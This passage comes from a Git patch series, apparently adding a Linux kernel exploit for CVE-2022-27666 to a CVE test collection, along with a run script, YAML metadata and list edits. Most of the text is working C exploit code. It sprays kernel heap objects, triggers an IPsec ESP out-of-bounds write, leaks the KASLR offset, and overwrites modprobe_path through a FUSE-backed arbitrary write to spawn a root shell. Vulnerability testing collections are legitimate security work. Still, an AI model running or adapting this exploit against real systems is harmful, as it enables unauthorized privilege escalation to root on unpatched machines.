(spray_lock->done < limit) + usleep(10000); + spray_lock->done = 0; +} + +int *spray_user_key(int n, int size, int base) +{ + int payload_size = size - sizeof(struct fake_user_key_payload); + int *fd = malloc(n * sizeof(int)); + + void *addr = malloc(0x30000); + char *buf = addr; + char *name = (uint64_t)addr + 0x20000; + memcpy((void*)name, "user\000", 5); + + for (int i = 0; i < n; i++) { + release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB-2); + + memset(buf, 0x41, payload_size); + char *des = (uint64_t)addr + 0x10000ul; + sprintf((void*)des, "syz%d\x00", base*n+i); +#ifdef DEBUG + printf("add key %d\n", base); +#endif + fd[i] = syscall(__NR_add_key, name, des, buf, payload_size, -1); + if (fd[i] < 0) { + perror("add_key failed\n"); + pause(); + } + } + return fd; +} + +void init_fuse_mem(char *fuse_path, void **fuse_addr, void *base, int size) +{ + fuse_fd = open(fuse_path, O_RDWR); + if (fuse_fd < 0) { + perror("open fuse failed\n"); + exit(1); + } + if (base == NULL) + *fuse_addr = mmap(base, size, PROT_READ | PROT_WRITE, + MAP_SHARED, fuse_fd, 0); + else + *fuse_addr = mmap(base, size, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fuse_fd, 0); + if (*fuse_addr == MAP_FAILED) { + perror("mmap failed\n"); + exit(1); + } +#ifdef DEBUG + printf("mmap-> 0x%llx\n", *fuse_addr); +#endif +} + +void send_xattr(void *arg) +{ + void *addr = ((struct spray_argv *)arg)->addr; + int size = ((struct spray_argv *)arg)->size; + pthread_mutex_lock(&spray_lock->mutex); + spray_lock->done++; + pthread_mutex_unlock(&spray_lock->mutex); + syscall(__NR_setxattr, "./", "exp", addr, size, 0); +} + +void spray_4k(int n, int size) { + if (fuse_mem_addr == NULL) + perror("fuse_mem_addr is NULL"); + + initialise_shared(&spray_lock); + for (int k=0; kaddr = fuse_mem_addr; + arg->size = size; + hang_threads->done++; + pthread_create(&thr, NULL, send_xattr, (void *) arg); + } + pause(); + } + } + + while(spray_lock->done < n * SLAB_4k_OBJS_PER_SLAB-1) { + usleep(10000); + } + spray_lock->done = 0; +} + +void oob_write(char *payload, int size, int oob_page, int fd1, int fd2) { + struct msghdr msg; + struct iovec iov; + char *addr = NULL; + + memset(&iov, 0, sizeof(iov)); + memset(&msg, 0, sizeof(msg)); + + for (int i = 0; i < 8; i++) { + memset((void*)0x20000000+i*PAGE_SIZE+LAST_PAGE_GAP_BYTES, 0x41+i, 4096); + } + + for (int i=8; i<=oob_page; i++) { + addr = 0x20000000+i*PAGE_SIZE+LAST_PAGE_GAP_BYTES; + memset(addr, 0x0, 4096); + memcpy(addr, payload, size); + } + + iov.iov_base = (void*)0x20000000; + iov.iov_len = oob_page*PAGE_SIZE + LAST_PAGE_GAP_BYTES + size; + + msg.msg_name = 0x0; + msg.msg_namelen = 0x0; + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + msg.msg_control = 0; + msg.msg_controllen = 0; + msg.msg_flags = 0; + + if (fd1 != -1) + close(fd1); + if (fd2 != -1) + close(fd2); + + syscall(__NR_sendmsg, r[1], &msg, 0ul); +} + +bool leak_kalsr() { + int fd1, fd2, fd3, fd_vul[N_PROCS], fd_t1, fd_t2; + int num_keys = 20000 / SIZE_OF_USER_KEY_PAYLOAD; + int *key_fd; + char *leak_buf; + + // consume kmalloc-4k slabs in order to make `user_key_payload` allocate new slab from buddy allocator + spray_4k(0x50, SIZE_OF_USER_KEY_PAYLOAD); + printf("[+] spraying 4k objects\n"); + + initialise_shared(&two_loop); + for (int i=0; i<=N_PROCS; i++) + pthread_mutex_lock(&two_loop->proc_mutex[i]); + int id = N_PROCS; + for (int i=0; iproc_mutex[id]); + break; + } + if (i==N_PROCS-1) { + // hang main proc + pthread_mutex_unlock(&two_loop->proc_mutex[0]); + pthread_mutex_lock(&two_loop->proc_mutex[N_PROCS]); + } + } + +#ifdef DEBUG + printf("id %d started\n", id); + int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_USER_KEY_PAYLOAD); + ioctl(-1, 0x37778, &debug); +#endif + //pagealloc_pad(0x500, 0x8000); + //sleep(1); + fd_vul[0] = pagealloc_pad(1, 0x8000); + // reserve order 3 pages for target obj1 (user_key_payload) + fd_t1 = pagealloc_pad(1, 0x8000); + // reserve order 3 pages for target obj2 (msg_msg) + fd_t2 = pagealloc_pad(1, 0x8000); + // arrange target obj1 (user_key_payload) to memory 3 (fd3) + //spray_4k(1, SIZE_OF_USER_KEY_PAYLOAD); + spray_4k_thread(SIZE_OF_USER_KEY_PAYLOAD, SLAB_4k_OBJS_PER_SLAB-1); + close(fd_t1); + key_fd = spray_user_key(1, SIZE_OF_USER_KEY_PAYLOAD, id); + spray_4k_thread(SIZE_OF_USER_KEY_PAYLOAD, SLAB_4k_OBJS_PER_SLAB-1); + release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB-2); + // arrange target obj2 (msg_msg) to memory 4 (fd4) + //pagealloc_pad(20, 0x8000); + for (int i = 0; i < 100; i++) + { + open("/proc/self/stat", O_RDONLY); + } + close(fd_t2); + //printf("[+] Spraying msg with segments\n"); + msg_spray(SLAB_4k_OBJS_PER_SLAB * (SLAB_4k_CPU_PARTIAL) , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1); + +#ifdef DEBUG + printf("id %d finished\n", id); +#endif + + if (id < N_PROCS) { + pthread_mutex_unlock(&two_loop->proc_mutex[id+1]); + pthread_mutex_lock(&two_loop->proc_mutex[id]); + } else { + for (int i=0; iproc_mutex[i]); + } + + close(fd_vul[0]); + +#ifdef DEBUG + debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_USER_KEY_PAYLOAD); + ioctl(-1, 0x37778, &debug); +#endif + + if (id == N_PROCS) { + printf("start oob write\n"); + struct fake_user_key_payload *fake_key = (struct fake_user_key_payload *)malloc(sizeof(struct fake_user_key_payload)+8); + memset(fake_key, 0, sizeof(*fake_key)); + fake_key->next = 0; + fake_key->callback = 0; + fake_key->datalen = 0x7000; + memset(fake_key+sizeof(struct fake_user_key_payload), 0x0, 0x8); + oob_write(fake_key, sizeof(*fake_key)+8, OOB_PAGE, -1, -1); + free(fake_key); + for (int i=0; i<=N_PROCS; i++) + pthread_mutex_unlock(&two_loop->proc_mutex[i]); + } + pthread_mutex_lock(&two_loop->proc_mutex[id]); + + leak_buf = malloc(0x8000); + memset(leak_buf, 0x43, 0x8000); + if (syscall(__NR_keyctl, KEYCTL_READ, key_fd[0], leak_buf, 0x8000, 0) == -1) { + perror("keyctl failed"); + } + if (*(uint64_t*)leak_buf != 0x4141414141414141) { + for (int j=0; j<8; j++) { + uint64_t *data = (uint64_t)leak_buf + j*PAGE_SIZE - sizeof(struct fake_user_key_payload) + sizeof(struct fake_msg_msg); +#ifdef DEBUG + printf("msg %d data %llx\n", j, *data); +#endif + if (*data == 0x3737373737373737) { + struct fake_msg_msg *msg = (uint64_t)leak_buf + j*PAGE_SIZE - sizeof(struct fake_user_key_payload); + printf("[+] msg->next %llx\n", msg->next); + msg_next = msg->next; + msglist_next = msg->m_list.next; + msglist_prev = msg->m_list.prev; + break; + } + } + } + + free(leak_buf); + + + if (msg_next == NULL) { + if (id != N_PROCS) + { + two_loop->done++; + printf("[-] %d/%d threads hang\n", two_loop->done, N_PROCS + 1); + pthread_mutex_lock(&two_loop->proc_mutex[id]); + exit(1); + } + else + { + for (int i=0; i<3; i++) { + if (two_loop->done == N_PROCS) { + for (int i=0; i<=N_PROCS; i++) + pthread_mutex_unlock(&two_loop->proc_mutex[i]); + return false; + } + sleep(1); + } + pthread_mutex_lock(&two_loop->proc_mutex[id]); + exit(1); + } + } + + + // stage 2: leak kernel address. + // Now we have a correct msg->next pointer, we can freely overwrite struct msg->m_ts + // as well as the msg->next. + if (fork() != 0) { + int status; + wait(&status); + exit(0); + } + + pagealloc_pad(0x100, 0x1000); + for (int i=0; i<50; i++) { +#ifdef DEBUG + debug = (PRINT_PAGE_FREE_DETAIL); + ioctl(-1, 0x37778, &debug); +#endif + pagealloc_pad(0x100, 0x8000); + //sleep(1); +#ifdef DEBUG + debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG); + ioctl(-1, 0x37778, &debug); +#endif + int fd_msg[N_LOOP]; + int msqid_all[4096]; + printf("[+] spraying msg for OOB write\n"); + for (int i=0; i<8; i++) { + fd_vul[i] = pagealloc_pad(1, 0x8000); + fd_msg[i] = pagealloc_pad(1, 0x8000); + } + + for (int i=0; im_list.next = msglist_next; + fake_msg->m_list.prev = msglist_prev; + fake_msg->m_type = 1; + fake_msg->m_ts = 0x1fc8; + fake_msg->next = msg_next; + oob_write(fake_msg, sizeof(*fake_msg), OOB_PAGE, -1, -1); + free(fake_msg); + + leak_buf = malloc(0x2000); + for (int i=0; i 0x1000) { + for (j=1; j 0x%lx(%ld)\n", single_start, single_stop, kaslr_offset, kaslr_offset); + break; + } + } + } + if (kaslr_offset != NULL) + break; + } + + if (kaslr_offset == NULL) + continue; + break; + } + + if (kaslr_offset == NULL) { + for (int i=0; i<=N_PROCS; i++) + pthread_mutex_unlock(&two_loop->proc_mutex[i]); + return false; + } + return true; +} + + +void fuse_sendmsg(struct spary_msg_arg *arg) +{ + int i; + int qbytes = MAX_QBYTES_IN_QUEUE; + int _msqid; + void *target = arg->dst; + int size = arg->size; + + if ((_msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { + perror("msgget"); + return false; + } + +#ifdef KERNEL_DEBUG + int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG | PRINT_MSG_DETAIL); + ioctl(-1, 0x37778, &debug); +#endif + pthread_mutex_lock(&spray_lock->mutex); + spray_lock->done++; + pthread_mutex_unlock(&spray_lock->mutex); + struct msgbuf_key *msg_key = target; + //printf("fuse_sendmsg %d start\n", _msqid); + msg_key->mtype = 1; + int ret = msgsnd(_msqid, msg_key, PAGE_SIZE-SIZE_OF_MSG_MSG+size, 0); + //printf("fuse_sendmsg %d done\n", _msqid); + if (ret == -1) { + perror("msgsnd error\n"); + exit(1); + } +} + +int fuse_msg_spray(int num_msg, int size, void *dst) { + int i; + initialise_shared(&spray_lock); + pthread_mutex_lock(&spray_lock->mutex); + for (i = 0; isize = size; + arg->dst = dst; + hang_threads->done++; + pthread_t *thr = malloc(sizeof(pthread_t)); + pthread_create(thr, NULL, &fuse_sendmsg, arg); + } + return i; +} + +bool arb_write(void *target_addr, int size, void *fuse_adr) +{ + int fd_vul; + int fd_msg; + printf("[+] spraying msg for arbitrary write\n"); + initialise_shared(&two_loop); + for (int i=0; i<=N_PROCS; i++) + pthread_mutex_trylock(&two_loop->proc_mutex[i]); + int id = N_PROCS; + for (int i=0; iproc_mutex[id]); + break; + } + if (i==N_PROCS-1) { + // hang main proc + pthread_mutex_unlock(&two_loop->proc_mutex[0]); + pthread_mutex_lock(&two_loop->proc_mutex[N_PROCS]); + } + } + + pagealloc_pad(0x100, 0x8000); + +#ifdef KERNEL_DEBUG + int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG_DETAIL); + ioctl(-1, 0x37778, &debug); + printf("id %d started\n", id); +#endif + + fd_vul = pagealloc_pad(1, 0x8000); + fd_msg = pagealloc_pad(1, 0x8000); + msg_spray(SLAB_4k_OBJS_PER_SLAB * (SLAB_4k_CPU_PARTIAL) , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1); + fuse_msg_spray(SLAB_4k_OBJS_PER_SLAB + 1, size, fuse_adr); + close(fd_msg); + release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB + 1); + usleep(10000); + + if (id != N_PROCS) + { + pthread_mutex_unlock(&two_loop->proc_mutex[id+1]); + pthread_mutex_lock(&two_loop->proc_mutex[id]); + } else { + for (int i=0; iproc_mutex[i]); + } + + close(fd_vul); + + if (id != N_PROCS) + { + pthread_mutex_lock(&two_loop->proc_mutex[id]); + } + + struct fake_msg_msg *fake_msg = (struct fake_msg_msg *)malloc(sizeof(struct fake_msg_msg)); + memset(fake_msg, 0, sizeof(*fake_msg)); + fake_msg->m_list.next = msglist_next; + fake_msg->m_list.prev = msglist_prev; + fake_msg->m_type = 1; + fake_msg->m_ts = PAGE_SIZE-SIZE_OF_MSG_MSG+size; + fake_msg->next = target_addr; + oob_write(fake_msg, sizeof(*fake_msg), OOB_PAGE, -1, -1); + free(fake_msg); + + //write(fuse_pipes[1], "A", 1); +} + + +void modprobe_trigger() +{ + execve(PROC_MODPROBE_TRIGGER, NULL, NULL); +} + +int am_i_root() +{ + struct stat buffer; + int exist = stat("/tmp/exploited", &buffer); + if(exist == 0) + return 1; + else + return 0; +} + +void modprobe_init() +{ + int fd = open(PROC_MODPROBE_TRIGGER, O_RDWR | O_CREAT); + if (fd < 0) + { + perror("trigger creation failed"); + exit(-1); + } + char root[] = "\xff\xff\xff\xff"; + write(fd, root, sizeof(root)); + close(fd); + chmod(PROC_MODPROBE_TRIGGER, 0777); +} + +void overwrite_modprobe() +{ + void *modprobe_path = addr_modprobe_path + kaslr_offset; + printf("[+] modprobe_path: 0x%llx\n", modprobe_path); + void *fuse_evil_addr; + + for (int i=0; i<50; i++) { + if (fork() != 0) + break; + + void *evil_page = mmap(0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); + init_fuse_mem("evil2/evil", &fuse_evil_addr, evil_page+0x1000, 0x1000); + if (fuse_evil_addr != (evil_page+0x1000)) + { + perror("mmap fail fuse 1"); + exit(-1); + } + void *evil_page2 = mmap(fuse_evil_addr+0x1000, 0x10000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); + struct msgbuf_key *evil_msg = fuse_evil_addr-0x8; + + arb_write(modprobe_path-8, strlen(evil_str), evil_msg); + write(fuse_pipes[1], "A", 1); + sleep(1); + modprobe_trigger(); + sleep(1); + if (am_i_root()) { + pthread_mutex_unlock(&shell_lock->mutex); + pause(); + } + printf("[+] Not root, try again\n"); + } + pause(); +} + +void loop(void) +{ + struct msghdr msg; + struct iovec iov; + struct sadb_msg *nlh; + struct sadb_ext *ehdr; + + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } + + nlh = malloc(1024); + memset(&iov, 0, sizeof(iov)); + memset(&msg, 0, sizeof(msg)); + memset(nlh, 0, 1024); + + intptr_t res = 0; + + res = syscall(__NR_socket, AF_NETLINK, SOCK_RAW, NETLINK_XFRM); + + res = syscall(__NR_socket, PF_KEY, SOCK_RAW, PF_KEY_V2); + if (res != -1) + r[0] = res; + + nlh->sadb_msg_version = 0x2; + nlh->sadb_msg_type = SADB_ADD; + nlh->sadb_msg_errno = 0x0; + nlh->sadb_msg_satype = SADB_SATYPE_ESP; + nlh->sadb_msg_len = 0xf; + nlh->sadb_msg_reserved = 0; + nlh->sadb_msg_seq = 0; + nlh->sadb_msg_pid = 0; + + + ehdr = (char *)nlh + sizeof(struct sadb_msg); + ehdr->sadb_ext_len = 0x1; + ehdr->sadb_ext_type = SADB_EXT_KEY_ENCRYPT; + + struct sadb_address *sa_addr = (struct sadb_ext *)((char *)ehdr + ehdr->sadb_ext_len * sizeof(uint64_t)); + sa_addr->sadb_address_len = 0x5; + sa_addr->sadb_address_exttype = SADB_EXT_ADDRESS_DST; + sa_addr->sadb_address_proto = 0x0; + sa_addr->sadb_address_prefixlen = 0x0; + sa_addr->sadb_address_reserved = 0x0; + struct sockaddr_in6 *addr = (char *)sa_addr + sizeof(struct sadb_address); + addr->sin6_family = AF_INET6; + addr->sin6_port = htons(0); + addr->sin6_addr = in6addr_loopback; + + struct sadb_sa *sa = (struct sadb_sa *)((char *)sa_addr + sa_addr->sadb_address_len * sizeof(uint64_t)); + sa->sadb_sa_len = 0x2; + sa->sadb_sa_exttype = SADB_EXT_SA; + sa->sadb_sa_spi = 0x0; + sa->sadb_sa_replay = 0x0; + sa->sadb_sa_state = 0x0; + sa->sadb_sa_auth = 0x0; + sa->sadb_sa_encrypt = 0xb; + sa->sadb_sa_flags = 0x0; + + sa_addr = (struct sadb_address *)((char *)sa + sa->sadb_sa_len * sizeof(uint64_t)); + sa_addr->sadb_address_len = 0x5; + sa_addr->sadb_address_exttype = SADB_EXT_ADDRESS_SRC; + sa_addr->sadb_address_proto = 0x0; + sa_addr->sadb_address_prefixlen = 0x0; + sa_addr->sadb_address_reserved = 0x0; + addr = (char *)sa_addr + sizeof(struct sadb_address); + addr->sin6_family = AF_INET6; + addr->sin6_port = htons(0); + addr->sin6_addr = in6addr_loopback; + + iov.iov_base = nlh; + iov.iov_len = 0x78; + + msg.msg_name = 3; + msg.msg_namelen = 0; + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + msg.msg_control = 7; + msg.msg_controllen = 0; + msg.msg_flags = 0; + + res = syscall(__NR_sendmsg, r[0], &msg, 0ul); + res = syscall(__NR_socket, AF_INET6, SOCK_RAW, IPPROTO_TCP); + if (res != -1) + r[1] = res; + + addr = (struct sockaddr_in6 *)0x200000c0; + addr->sin6_family = AF_INET6; + addr->sin6_port = htons(0); + addr->sin6_addr = in6addr_loopback; + res = syscall(__NR_connect, r[1], (struct sockaddr *)addr, sizeof(*addr)); + + struct xfrm_userpolicy_info *xpinfo = (void*)0x20000100; + xpinfo->sel.daddr.a4 = htobe32(0); + xpinfo->sel.saddr.a4 = htobe32(0xac1e0001); + xpinfo->sel.dport = htobe16(0); + xpinfo->sel.dport_mask = htobe16(0); + xpinfo->sel.sport = htobe16(0); + xpinfo->sel.sport_mask = htobe16(0); + xpinfo->sel.family = AF_INET6; + xpinfo->sel.prefixlen_d = 0; + xpinfo->sel.prefixlen_s = 0; + xpinfo->sel.proto = IPPROTO_IP; + xpinfo->sel.ifindex = 0; + xpinfo->sel.user = -1; + xpinfo->lft.soft_byte_limit = 0; + xpinfo->lft.hard_byte_limit = 0; + xpinfo->lft.soft_packet_limit = 0; + xpinfo->lft.hard_packet_limit = 0; + xpinfo->lft.soft_add_expires_seconds = 0; + xpinfo->lft.hard_add_expires_seconds = 0; + xpinfo->lft.soft_use_expires_seconds = 0; + xpinfo->lft.hard_use_expires_seconds = 0; + xpinfo->curlft.bytes = 0; + xpinfo->curlft.packets = 0; + xpinfo->curlft.add_time = 0; + xpinfo->curlft.use_time = 0; + xpinfo->priority = 0; + xpinfo->index = 0; + xpinfo->dir = XFRM_POLICY_OUT; + xpinfo->action = XFRM_POLICY_ALLOW; + xpinfo->flags = 0; + xpinfo->share = XFRM_SHARE_ANY; + + struct xfrm_user_tmpl *ut = (struct xfrm_user_tmpl *) (xpinfo + 1); + NONFAILING(*(uint8_t*)0x200001a8 = -1); + NONFAILING(*(uint8_t*)0x200001a9 = 1); + NONFAILING(memset((void*)0x200001aa, 0, 13)); + NONFAILING(*(uint8_t*)0x200001b7 = 1); + ut->id.spi = htobe32(0); + ut->id.proto = IPPROTO_ESP; + ut->family = PF_UNSPEC; + ut->saddr.a4 = 0xfc; + ut->reqid = 0; + ut->mode = XFRM_MODE_TRANSPORT; + ut->share = XFRM_SHARE_ANY; + ut->optional = 0; + ut->aalgos = 0; + ut->ealgos = 0; + ut->calgos = 0; + res = syscall(__NR_setsockopt, r[1], SOL_IPV6, IPV6_XFRM_POLICY, xpinfo, sizeof(*xpinfo) + sizeof(*ut)); + + int tty_fd[1024]; + int n_msg; + int msqid_bk[1024]; + + // Consume up kmalloc-4k slab + msg_spray(SLAB_4k_OBJS_PER_SLAB * (1+SLAB_4k_CPU_PARTIAL), MSG_LEN, 1); + msg_spray(SLAB_4k_OBJS_PER_SLAB * (1 + SLAB_4k_CPU_PARTIAL) - 5 , SIZE_OF_USER_KEY_PAYLOAD, 1); + + // consume lower page order's (<=3) freelist + int fill_large = pagealloc_pad(0x1000, 0x1000); + +#ifdef EXPAND_LOWER_ORDER +#define PROC_FORK 10 + // Make sure lower page order (<3) allocatioin and free won't affect + // order 3 (merging from order 2 or split order 3 to fulfill order 2) + initialise_shared(&free_mutex); + pthread_mutex_lock(&free_mutex->mutex); + printf("start filling lower order\n"); + for (int k=0; kdone++; + pthread_mutex_lock(&free_mutex->mutex); + for (int i=0; i<100; i++) { + // free 1 of 2 order 2 blocks, keep the other in order 2 freelist + close(fill_fd[0][i]); + } + free_mutex->done--; + pthread_mutex_unlock(&free_mutex->mutex); + printf("[+] %d free done -> %d\n", k, free_mutex->done); + pause(); + } + } + while (free_mutex->done < PROC_FORK) { + usleep(10000); + } + printf("Released free lock\n"); + pthread_mutex_unlock(&free_mutex->mutex); + while (free_mutex->done > 0) { + usleep(10000); + } + printf("fill lower order done\n"); + close(fill_large); +#endif + + // initialize fuse + init_fuse_mem("evil1/evil", &fuse_mem_addr, NULL, 0x100000); + initialise_shared(&hang_threads); + + pagealloc_pad(0x2000, 0x8000); +#ifdef KERNEL_LEAK + if (!leak_kalsr()) + exit(0); +#endif + +#ifdef KERNEL_EXP + overwrite_modprobe(); +#endif + pause(); +} + +static const struct fuse_operations evil_ops1 = { + .getattr = evil_getattr, + .readdir = evil_readdir, + .read = evil_read_pause, +}; + +static const struct fuse_operations evil_ops2 = { + .getattr = evil_getattr, + .readdir = evil_readdir, + .read = evil_read_sleep, +}; + +void unshare_setup(uid_t uid, gid_t gid) +{ + int temp; + char edit[0x100]; + unshare(CLONE_NEWNS|CLONE_NEWUSER); + temp = open("/proc/self/setgroups", O_WRONLY); + write(temp, "deny", strlen("deny")); + close(temp); + temp = open("/proc/self/uid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", uid); + write(temp, edit, strlen(edit)); + close(temp); + temp = open("/proc/self/gid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", gid); + write(temp, edit, strlen(edit)); + close(temp); + return; +} + +char *fargs_evil1[] = {"poc", "evil1", NULL }; +char *fargs_evil2[] = {"poc", "evil2", NULL }; + + +int main(int argc, char *argv[]) +{ + load_symbols(); + initialise_shared(&shell_lock); + pthread_mutex_lock(&shell_lock->mutex); + if (!fork()) + { + pthread_mutex_lock(&shell_lock->mutex); + printf("[+] I AM ROOT!\n"); + execve("/tmp/myshell", NULL, NULL); + } + fargs_evil1[0] = argv[0]; + fargs_evil2[0] = argv[0]; + unshare_setup(getuid(), getgid()); + modprobe_init(); + mkdir(FUSE_MOUNT1, 0777); + mkdir(FUSE_MOUNT2, 0777); + pipe(fuse_pipes); + evil_buffer = malloc(0x10000); + + if (!fork()) + { + fuse_main(sizeof(fargs_evil1)/sizeof(char *) -1 , fargs_evil1, &evil_ops1, NULL); + } + sleep(1); + + if (!fork()) + { + fuse_main(sizeof(fargs_evil2)/sizeof(char *) -1 , fargs_evil2, &evil_ops2, NULL); + } + sleep(1); + + syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); + do_sandbox_namespace(); + return 0; +} diff --git a/cve/linux-kernel/2022/CVE-2022-27666/run.sh b/cve/linux-kernel/2022/CVE-2022-27666/run.sh new file mode 100755 index 00000000..c30024b1 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/run.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +cp get_rooot /tmp/ +cp myshell /tmp/ +while true +do + ./poc + ps aux | grep poc | awk '{ print $2 }' | while read line; do kill -9 $line; done || echo "kill poc, rerun again" +done \ No newline at end of file diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-27666.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-27666.yaml new file mode 100644 index 00000000..9240cbb1 --- /dev/null +++ b/cve/linux-kernel/2022/yaml/CVE-2022-27666.yaml @@ -0,0 +1,18 @@ +id: CVE-2022-27666 +source: https://github.com/plummm/CVE-2022-27666 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: 高危 + description: | + Linux kernel 5.16.15之前版本存在安全漏洞，该漏洞源于net/ipv4/esp4.c 和 net/ipv6/esp6.c 中IPsec ESP 代码存在缓冲区溢出。本地攻击者可利用该漏洞通过覆盖内核堆对象获得特权。 + scope-of-influence: + ~ linux kernel 5.17-rc5 + reference: + - https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.16.15 + - https://www.debian.org/security/2022/dsa-5173 + - https://security.netapp.com/advisory/ntap-20220429-0001/ + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-27666 + tags: 缓冲区溢出,权限提升,cve2022 diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 323454b7..024572d0 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -16,6 +16,7 @@ cve: - CVE-2022-0492 - CVE-2022-2588 - CVE-2022-25636 + - CVE-2022-27666 sudo: - CVE-2021-3156 - CVE-2023-22809 -- Gitee From f56a0f9c4c03b69c87b81554379e661354c551aa Mon Sep 17 00:00:00 2001 From: Yezi Date: Fri, 10 Mar 2023 03:29:47 +0000 Subject: [PATCH 2/5] =?UTF-8?q?update=20cve/linux-kernel/2022/yaml/CVE-202?= =?UTF-8?q?2-27666.yaml.=20=E6=9B=B4=E6=96=B0=E4=BA=86security=E5=AD=97?= =?UTF-8?q?=E6=AE=B5=E7=9A=84=E8=8B=B1=E6=96=87=E6=8F=8F=E8=BF=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Yezi --- cve/linux-kernel/2022/yaml/CVE-2022-27666.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-27666.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-27666.yaml index 9240cbb1..e9c89f4b 100644 --- a/cve/linux-kernel/2022/yaml/CVE-2022-27666.yaml +++ b/cve/linux-kernel/2022/yaml/CVE-2022-27666.yaml @@ -2,7 +2,7 @@ id: CVE-2022-27666 source: https://github.com/plummm/CVE-2022-27666 info: name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 - severity: 高危 + severity: High description: | Linux kernel 5.16.15之前版本存在安全漏洞，该漏洞源于net/ipv4/esp4.c 和 net/ipv6/esp6.c 中IPsec ESP 代码存在缓冲区溢出。本地攻击者可利用该漏洞通过覆盖内核堆对象获得特权。 scope-of-influence: -- Gitee From 003f6b59e0849b8f1ffc455cf8938f0c3c1e40d5 Mon Sep 17 00:00:00 2001 From: Yezi Date: Fri, 10 Mar 2023 06:27:09 +0000 Subject: [PATCH 3/5] =?UTF-8?q?update=20openkylin=5Flist.yaml.=20=E5=B0=86?= =?UTF-8?q?=E8=AF=AF=E5=88=A0=E7=9A=84=E4=BF=A1=E6=81=AF=E8=A1=A5=E4=B8=8A?= =?UTF-8?q?=E4=BA=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Yezi --- openkylin_list.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 024572d0..0f8e0c26 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -16,6 +16,7 @@ cve: - CVE-2022-0492 - CVE-2022-2588 - CVE-2022-25636 + - CVE-2022-0045 - CVE-2022-27666 sudo: - CVE-2021-3156 -- Gitee From ae5ee0367ab0829abc752be974c8585016eec471 Mon Sep 17 00:00:00 2001 From: Yezi Date: Fri, 10 Mar 2023 06:43:02 +0000 Subject: [PATCH 4/5] =?UTF-8?q?update=20openkylin=5Flist.yaml.=20=E5=90=8C?= =?UTF-8?q?=E6=AD=A5=E4=BA=86=E6=9C=80=E6=96=B0=E7=9A=84yzml=E6=96=87?= =?UTF-8?q?=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Yezi --- openkylin_list.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 0f8e0c26..3261a950 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -17,6 +17,7 @@ cve: - CVE-2022-2588 - CVE-2022-25636 - CVE-2022-0045 + - CVE-2022-32250 - CVE-2022-27666 sudo: - CVE-2021-3156 -- Gitee From a528fd8c0284996041349a74f501846fd212160b Mon Sep 17 00:00:00 2001 From: Yezi Date: Fri, 10 Mar 2023 06:46:01 +0000 Subject: [PATCH 5/5] =?UTF-8?q?update=20openkylin=5Flist.yaml.=20=E6=9B=B4?= =?UTF-8?q?=E6=96=B0=E4=BA=86=E6=9C=80=E6=96=B0=E7=9A=84yaml=E6=96=87?= =?UTF-8?q?=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Yezi --- openkylin_list.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/openkylin_list.yaml b/openkylin_list.yaml index bf37f154..88625aa2 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -18,7 +18,7 @@ cve: - CVE-2022-0492 - CVE-2022-2588 - CVE-2022-25636 - - CVE-2022-0045 + - CVE-2023-0045 - CVE-2022-32250 - CVE-2022-27666 sudo: -- Gitee